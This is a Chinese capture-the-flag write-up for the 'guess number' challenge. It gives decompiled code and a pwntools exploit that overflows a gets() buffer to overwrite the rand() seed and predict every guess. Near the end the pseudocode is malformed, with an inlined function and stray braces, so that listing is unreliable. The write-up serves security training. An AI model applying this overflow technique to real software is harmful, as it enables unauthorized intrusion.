『攻防世界』:新手区 | guess number

checksec程序信息:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

IDA查看程序伪代码和逻辑:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi
  const char *v4; // rdi
  int v6; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v8; // [rsp+Ch] [rbp-34h]
  char v9; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v6 = 0;
  v8 = 0;
  *(_QWORD *)seed = sub_BB0(v3, 0LL);
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(&v9);
  v4 = (const char *)seed[0];
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v8 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------
", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v6);
    puts("---------------------------------");
    if ( v6 != v8 )
    {
      puts("GG!");
      exit(1);
    }
    v4 = "Success!";
    puts("Success!");
  }
  sub_C3E(v4)
  {
    printf("You are a prophet! Here is your flag!");
    system("cat flag");
    return 0LL;
  }
};
return 0LL; }

想要得到flag需要连续十次输入数字与随机数v8相等

关于rand和srand:随机函数生成的随机数并不是整的随机刷,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好的随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。

这里先构造payload作为name将seed覆盖为1,达到控制seed的效果

这里有一个libc共享库文件要知道:

zowie@zowie-PC:~/Downloads$ ldd guess_num 
    linux-vdso.so.1 (0x00007ffc53b61000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9dc8e6000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ff9dce88000)

exp:

from pwn import *
from ctypes import *

#io = remote('', )
io = process('./guess_num')

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(1)
io.recv()
io.sendline(payload)
libc.srand(1)#这里srand的中的参数seed与覆盖的1一致
for i in range(10):
    num = str(libc.rand()%6+1)
    io.recvuntil('number:')
    io.sendline(num)

io.interactive()
原文地址:https://www.cnblogs.com/Zowie/p/13413987.html